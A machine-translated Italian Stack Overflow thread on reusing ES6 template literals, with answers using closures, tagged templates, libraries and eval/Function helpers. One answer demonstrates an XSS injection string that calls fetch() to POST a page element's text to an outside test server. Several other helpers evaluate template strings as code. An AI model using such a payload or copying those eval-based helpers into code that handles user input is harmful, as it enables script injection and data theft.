I letterali del modello ES6 possono essere sostituiti in fase di esecuzione (o riutilizzati)?

tl; dr: È possibile rendere letterale un modello riutilizzabile?

Ho provato a utilizzare i letterali modello ma immagino di non capirlo e ora mi sto frustrando. Voglio dire, penso di aver capito, ma "non" dovrebbe essere come funziona o come dovrebbe essere. Dovrebbe andare diversamente.

Tutti gli esempi che vedo (anche i modelli contrassegnati) richiedono che le "sostituzioni" siano fatte al momento della dichiarazione e non al tempo di esecuzione, il che mi sembra del tutto inutile per un modello. Forse sono pazzo, ma un "modello" per me è un documento che contiene token che vengono sostituiti quando lo usi, non quando lo crei, altrimenti è solo un documento (cioè una stringa). Un modello viene memorizzato con i token come token e quei token vengono valutati quando tu ... lo valuti.

Tutti citano un orribile esempio simile a:

var a = 'asd';
return `Worthless ${a}!`

È carino, ma se lo so già a, vorrei solo return 'Worthless asd'o return 'Worthless '+a. Qual e il punto? Sul serio. Va bene, il punto è la pigrizia; meno vantaggi, più leggibilità. Grande. Ma non è un modello! Non IMHO. E MHO è tutto ciò che conta! Il problema, IMHO, è che il modello viene valutato quando viene dichiarato, quindi, se lo fai, IMHO:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
go(); // SPACE-TIME ENDS!

Poiché expletivenon è dichiarato, restituisce qualcosa di simile My undefined template. Super. In realtà, almeno in Chrome, non posso nemmeno dichiarare il modello; genera un errore perché expletivenon è definito. Quello di cui ho bisogno è essere in grado di eseguire la sostituzione dopo aver dichiarato il modello:

var tpl = `My ${expletive} template`;
function go() { return tpl; }
var expletive = 'great';
go(); // My great template

Tuttavia non vedo come sia possibile, poiché questi non sono realmente modelli. Anche quando dici che dovrei usare i tag, no, non funzionano:

> explete = function(a,b) { console.log(a); console.log(b); }
< function (a,b) { console.log(a); console.log(b); }
> var tpl = explete`My ${expletive} template`
< VM2323:2 Uncaught ReferenceError: expletive is not defined...

Tutto ciò mi ha portato a credere che i letterali modello siano orribilmente errati e dovrebbero essere chiamati per quello che sono realmente: heredocs . Immagino che la parte "letterale" dovrebbe avermi avvertito (come in, immutabile)?

Mi sto perdendo qualcosa? C'è un (buon) modo per rendere letterale un modello riutilizzabile?

Ti do, modelli letterali riutilizzabili :

> function out(t) { console.log(eval(t)); }
  var template = `\`This is
  my \${expletive} reusable
  template!\``;
  out(template);
  var expletive = 'curious';
  out(template);
  var expletive = 'AMAZING';
  out(template);
< This is
  my undefined reusable
  template!
  This is
  my curious reusable
  template!
  This is
  my AMAZING reusable
  template!

Ed ecco una ingenua funzione di "aiuto" ...

function t(t) { return '`'+t.replace('{','${')+'`'; }
var template = t(`This is
my {expletive} reusable
template!`);

... per renderlo "migliore".

Sono incline a chiamarli guterals modello a causa dell'area da cui producono sentimenti tortuosi.

Per far funzionare questi letterali come altri motori di modelli, è necessario un modulo intermedio.

Il modo migliore per farlo è usare il Functioncostruttore.

const templateString = "Hello ${this.name}!";
const templateVars = {
    name: "world"    
}

const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}

console.log(fillTemplate(templateString, templateVars));

Come con altri motori di modelli, puoi ottenere quella stringa da altri posti come un file.

Possono esserci problemi con questo metodo come i tag del modello sono difficili da usare, ma quelli possono essere aggiunti se sei intelligente. Inoltre, non è possibile avere una logica JavaScript in linea a causa dell'interpolazione tardiva. Questo può anche essere risolto con un po 'di riflessione.

Puoi inserire una stringa modello in una funzione:

function reusable(a, b) {
  return `a is ${a} and b is ${b}`;
}

Puoi fare la stessa cosa con un modello con tag:

function reusable(strings) {
  return function(... vals) {
    return strings.map(function(s, i) {
      return `${s}${vals[i] || ""}`;
    }).join("");
  };
}

var tagged = reusable`a is ${0} and b is ${1}`; // dummy "parameters"
console.log(tagged("hello", "world"));
// prints "a is hello b is world"
console.log(tagged("mars", "jupiter"));
// prints "a is mars b is jupiter"

L'idea è di lasciare che il parser del modello divida le stringhe costanti dalla variabile "slot", e quindi restituisca una funzione che rattoppa tutto di nuovo in base a un nuovo insieme di valori ogni volta.

Probabilmente il modo più pulito per farlo è con le funzioni freccia (perché a questo punto stiamo già usando ES6)

var reusable = () => `This ${object} was created by ${creator}`;

var object = "template string", creator = "a function";
console.log (reusable()); // "This template string was created by a function"

object = "example", creator = "me";
console.log (reusable()); // "This example was created by me"

... E per i letterali modello con tag:

reusable = () => myTag`The ${noun} go ${verb} and `;

var noun = "wheels on the bus", verb = "round";
var myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb + strings[2] + verb;
};
console.log (reusable()); // "The wheels on the bus go round and round"

noun = "racecars", verb = "fast";
myTag = function (strings, noun, verb) {
    return strings[0] + noun + strings[1] + verb;
};
console.log (reusable()); // "The racecars go fast"

Questo evita anche l'uso di eval()o Function()che può causare problemi con i compilatori e causare molti rallentamenti.

Risposta 2019 :

Nota : la libreria originariamente prevedeva che gli utenti disinfettassero le stringhe per evitare XSS. La versione 2 della libreria non richiede più la disinfezione delle stringhe utente (cosa che gli sviluppatori web dovrebbero fare comunque) poiché evita evalcompletamente.

Il es6-dynamic-templatemodulo su npm fa questo.

const fillTemplate = require('es6-dynamic-template');

A differenza delle risposte attuali:

• Utilizza stringhe modello ES6, non un formato simile. La versione di aggiornamento 2 utilizza un formato simile, piuttosto che stringhe di modello ES6, per impedire agli utenti di utilizzare stringhe di input non disinfettate.
• Non è necessario thisnella stringa del modello
• È possibile specificare la stringa del modello e le variabili in una singola funzione
• È un modulo mantenuto e aggiornabile, piuttosto che copypasta da StackOverflow

L'utilizzo è semplice. Usa virgolette singole poiché la stringa del modello verrà risolta in seguito!

const greeting = fillTemplate('Hi ${firstName}', {firstName: 'Joe'});

Sì, puoi farlo analizzando la tua stringa con il modello come JS da Function(o eval), ma questo non è consigliato e consente l' attacco XSS

// unsafe string-template function
const fillTemplate = function(templateString, templateVars){
    return new Function("return `"+templateString +"`;").call(templateVars);
}


function parseString() {
  // Example venomous string which will 'hack' fillTemplate function
  var hosting = "`+fetch('https://server.test-cors.org/server?id=9588983&enable=true&status=200&credentials=false',{method: 'POST', body: JSON.stringify({ info: document.querySelector('#mydiv').innerText }) }) + alert('stolen')||''`";

  var domain = {Id:1234, User:22};
  var result = fillTemplate(hosting, domain); // evil string attack here

  console.log(result);

  alert(`Look on Chrome console> networks and look for POST server?id... request with stolen data (in section "Request Payload" at the bottom)`);

}

window.parseString=parseString;

#mydiv { background: red; margin: 20px}

.btn { margin: 20px; padding: 20px; }

<pre>
CASE: system allow users to use 'templates' and use
fillTemplate function to put variables into that templates
Then system save templates in DB and show them to other users...
Some bad user/hacker can then prepare malicious template 
with JS code (hosting variable in js code) ...
</pre>
<div id='mydiv'>
My private content
</div>

<div id="msg"></div>

<button class="btn" onclick="parseString()">Click me! :)</button>

Invece è possibile inserire in modo sicuro iobj campi oggetto nel modello strin modo dinamico come segue

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);

let inject = (str, obj) => str.replace(/\${(.*?)}/g, (x,g)=> obj[g]);


// --- test ---

// parameters in object
let t1 = 'My name is ${name}, I am ${age}. My brother name is also ${name}.';
let r1 = inject(t1, {name: 'JOHN',age: 23} );
console.log("OBJECT:", r1);


// parameters in array
let t2 = "Values ${0} are in ${2} array with ${1} values of ${0}."
let r2 = inject(t2, ['A,B,C', 666, 'BIG'] );
console.log("ARRAY :", r2);

Semplificando la risposta fornita da @metamorphasi;

const fillTemplate = function(templateString, templateVars){
  var func = new Function(...Object.keys(templateVars),  "return `"+templateString +"`;")
  return func(...Object.values(templateVars));
}

// Sample
var hosting = "overview/id/d:${Id}";
var domain = {Id:1234, User:22};
var result = fillTemplate(hosting, domain);

console.log(result);

Se non si desidera utilizzare i parametri ordinati o di contesto / spazi dei nomi per fare riferimento alle variabili nel modello, per esempio ${0}, ${this.something}oppure ${data.something}, si può avere una funzione di modello che si prende cura del scoping per voi.

Esempio di come potresti chiamare un modello del genere:

const tempGreet = Template(() => `
  <span>Hello, ${name}!</span>
`);
tempGreet({name: 'Brian'}); // returns "<span>Hello, Brian!</span>"

La funzione Template:

function Template(cb) {
  return function(data) {
    const dataKeys = [];
    const dataVals = [];
    for (let key in data) {
      dataKeys.push(key);
      dataVals.push(data[key]);
    }
    let func = new Function(...dataKeys, 'return (' + cb + ')();');
    return func(...dataVals);
  }
}

La stranezza in questo caso è che devi solo passare una funzione (nell'esempio ho usato una funzione freccia) che restituisce il letterale del modello ES6. Penso che sia un piccolo compromesso ottenere il tipo di interpolazione riutilizzabile che stiamo cercando.

Eccolo su GitHub: https://github.com/Adelphos/ES6-Reuseable-Template

La risposta breve è semplicemente usare _.template in lodash

// Use the ES template literal delimiter as an "interpolate" delimiter.
// Disable support by replacing the "interpolate" delimiter.
var compiled = _.template('hello ${ user }!');
compiled({ 'user': 'pebbles' });
// => 'hello pebbles!'

Mi sto perdendo qualcosa? C'è un [buon] modo per rendere letterale un modello riutilizzabile?

Forse mi manca qualcosa, perché la mia soluzione a questo problema mi sembra così ovvia che sono molto sorpreso che nessuno l'abbia già scritto in una domanda così vecchia.

Ho quasi una battuta per questo:

function defer([first, ...rest]) {
  return (...values) => rest.reduce((acc, str, i) => acc + values[i] + str, first);
}

È tutto. Quando voglio riutilizzare un modello e differire la risoluzione delle sostituzioni, mi limito a:

> t = defer`My template is: ${null} and ${null}`;
> t('simple', 'reusable');          // 'My template is: simple and reusable'
> t('obvious', 'late to the party'; // 'My template is: obvious and late to the party'
> t(null);                          // 'My template is: null and undefined'
>
> defer`Choose: ${'ignore'} / ${undefined}`(true, false); // 'Choose: true / false'

L'applicazione di questo tag restituisce un 'function'(invece di a 'string') che ignora tutti i parametri passati al letterale. Quindi può essere richiamato con nuovi parametri in seguito. Se un parametro non ha una sostituzione corrispondente, diventa 'undefined'.

Risposta estesa

Questo semplice codice è funzionale, ma se hai bisogno di un comportamento più elaborato, la stessa logica può essere applicata e ci sono infinite possibilità. Potresti:

1. Utilizza i parametri originali:

È possibile memorizzare i valori originali passati al letterale nella costruzione e utilizzarli in modi creativi quando si applica il modello. Potrebbero diventare flag, validatori di tipi, funzioni ecc. Questo è un esempio che li utilizza come valori predefiniti:

    function deferWithDefaults([first, ...rest], ...defaults) {
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + (i < values.length ? values[i] : defaults[i]) + curr;
      }, first);
    }

Poi:

    > t = deferWithDefaults`My template is: ${'extendable'} and ${'versatile'}`;
    > t('awesome');                 // 'My template is: awesome and versatile' 

2. Scrivi una fabbrica di modelli:

Fallo avvolgendo questa logica in una funzione che prevede, come argomento, una funzione custom che può essere applicata nella riduzione (quando si uniscono i pezzi del template letterale) e restituisce un nuovo template con comportamento custom.

    const createTemplate = fn => function (strings, ...defaults) {
      const [first, ...rest] = strings;
      return (...values) => rest.reduce((acc, curr, i) => {
        return acc + fn(values[i], defaults[i]) + curr;
      }, first);
    };

Quindi potresti, ad esempio, scrivere modelli che escono automaticamente o disinfettano i parametri durante la scrittura di html, css, sql, bash incorporati ...

    function sqlSanitize(token, tag) {
      // this is a gross simplification, don't use in production.
      const quoteName = name => (!/^[a-z_][a-z0-9_$]*$/.test(name) ? `"${name.replace(/"/g, '""')}"` : name);
      const quoteValue = value => (typeof value == 'string' ? `'${value.replace(/'/g, "''")}'` : value);
      switch (tag) {
        case 'table':
          return quoteName(token);
        case 'columns':
          return token.map(quoteName);
        case 'row':
          return token.map(quoteValue);
        default:
          return token;
      }
    }

    const sql = createTemplate(sqlSanitize);

Con questo modello sql ingenuo (ripeto, ingenuo! ) Potremmo costruire query come questa:

    > q  = sql`INSERT INTO ${'table'} (${'columns'})
    ... VALUES (${'row'});`
    > q('user', ['id', 'user name', 'is"Staff"?'], [1, "O'neil", true])
    // `INSERT INTO user (id,"user name","is""Staff""?")
    // VALUES (1,'O''neil',true);`

3. Accetta parametri con nome per la sostituzione: un esercizio non così difficile, basato su ciò che è stato già dato. C'è un'implementazione in quest'altra risposta .

4. Fai in modo che l'oggetto di ritorno si comporti come un 'string': Beh, questo è controverso, ma potrebbe portare a risultati interessanti. Mostrato in quest'altra risposta .

5. Risolvi i parametri all'interno dello spazio dei nomi globale nel sito della chiamata:

Ti do, modelli letterali riutilizzabili:

Bene, questo è ciò che OP ha mostrato il suo addendum, utilizzando il comando evil, voglio dire, eval. Questo può essere fatto senza eval, semplicemente cercando il nome della variabile passato nell'oggetto globale (o finestra). Non mostrerò come farlo perché non mi piace. Le chiusure sono la scelta giusta.

Questo è il mio miglior tentativo:

var s = (item, price) => {return `item: ${item}, price: $${price}`}
s('pants', 10) // 'item: pants, price: $10'
s('shirts', 15) // 'item: shirts, price: $15'

Per generalizzare:

var s = (<variable names you want>) => {return `<template with those variables>`}

Se non stai eseguendo E6, potresti anche fare:

var s = function(<variable names you want>){return `<template with those variables>`}

Questo sembra essere un po 'più conciso rispetto alle risposte precedenti.

https://repl.it/@abalter/reusable-JS-template-literal

In generale sono contrario all'uso del male eval(), ma in questo caso ha senso:

var template = "`${a}.${b}`";
var a = 1, b = 2;
var populated = eval(template);

console.log(populated);         // shows 1.2

Quindi, se modifichi i valori e chiami di nuovo eval (), ottieni il nuovo risultato:

a = 3; b = 4;
populated = eval(template);

console.log(populated);         // shows 3.4

Se lo vuoi in una funzione, allora può essere scritto in questo modo:

function populate(a, b){
  return `${a}.${b}`;
}

AGGIORNATO: La seguente risposta è limitata ai nomi di singole variabili, quindi modelli come: 'Result ${a+b}'non sono validi per questo caso. Tuttavia puoi sempre giocare con i valori del modello:

format("This is a test: ${a_b}", {a_b: a+b});

RISPOSTA ORIGINALE:

Basato nelle risposte precedenti ma creando una funzione di utilità più "amichevole":

var format = (template, params) => {
    let tpl = template.replace(/\${(?!this\.)/g, "${this.");
    let tpl_func = new Function(`return \`${tpl}\``);

    return tpl_func.call(params);
}

Puoi invocarlo proprio come:

format("This is a test: ${hola}, second param: ${hello}", {hola: 'Hola', hello: 'Hi'});

E la stringa risultante dovrebbe essere:

'This is a test: Hola, second param: Hi'

Se stai cercando qualcosa di piuttosto semplice (solo campi variabili fissi, nessun calcolo, condizionali ...) ma che funziona anche lato client su browser senza il supporto di stringhe di modello come IE 8,9,10,11 ...

eccoci qui:

fillTemplate = function (templateString, templateVars) {
    var parsed = templateString;
    Object.keys(templateVars).forEach(
        (key) => {
            const value = templateVars[key]
            parsed = parsed.replace('${'+key+'}',value)
        }
    )
    return parsed
}

Ero seccato per la ridondanza supplementare necessario di digitare this.ogni volta, così ho aggiunto anche regex per espandere le variabili come .aad this.a.

Soluzione:

const interp = template => _thisObj =>
function() {
    return template.replace(/\${([^}]*)}/g, (_, k) =>
        eval(
            k.replace(/([.a-zA-Z0-9$_]*)([a-zA-Z0-9$_]+)/, (r, ...args) =>
                args[0].charAt(0) == '.' ? 'this' + args[0] + args[1] : r
            )
        )
    );
}.call(_thisObj);

Utilizzare come tale:

console.log(interp('Hello ${.a}${.b}')({ a: 'World', b: '!' }));
// outputs: Hello World!

Pubblico solo un pacchetto npm che può semplicemente fare questo lavoro. Profondamente ispirato da questa risposta .

const Template = require('dynamic-template-string');

var tpl = new Template('hello ${name}');

tpl.fill({name: 'world'}); // ==> 'hello world';
tpl.fill({name: 'china'}); // ==> 'hello china';

Il suo attrezzo è mortalmente semplice. Vorrei che ti piacesse.

module.exports = class Template {
  constructor(str) {
    this._func = new Function(`with(this) { return \`${str}\`; }`);
  }

  fill(data) {
    return this._func.call(data);
  }
}

puoi usare la funzione freccia in linea come questa, definizione:

const template = (substitute: string) => `[^.?!]*(?<=[.?\s!])${substitute}(?=[\s.?!])[^.?!]*[.?!]`;

utilizzo:

console.log(template('my replaced string'));

Stringa modello runtime

var templateString = (template, values) => {
    let output = template;
    Object.keys(values)
        .forEach(key => {
        output = output.replace(new RegExp('\\$' + `{${key}}`, 'g'), values[key]);
    });
    return output;
};

Test

console.debug(templateString('hello ${word} world', {word: 'wonderful'}));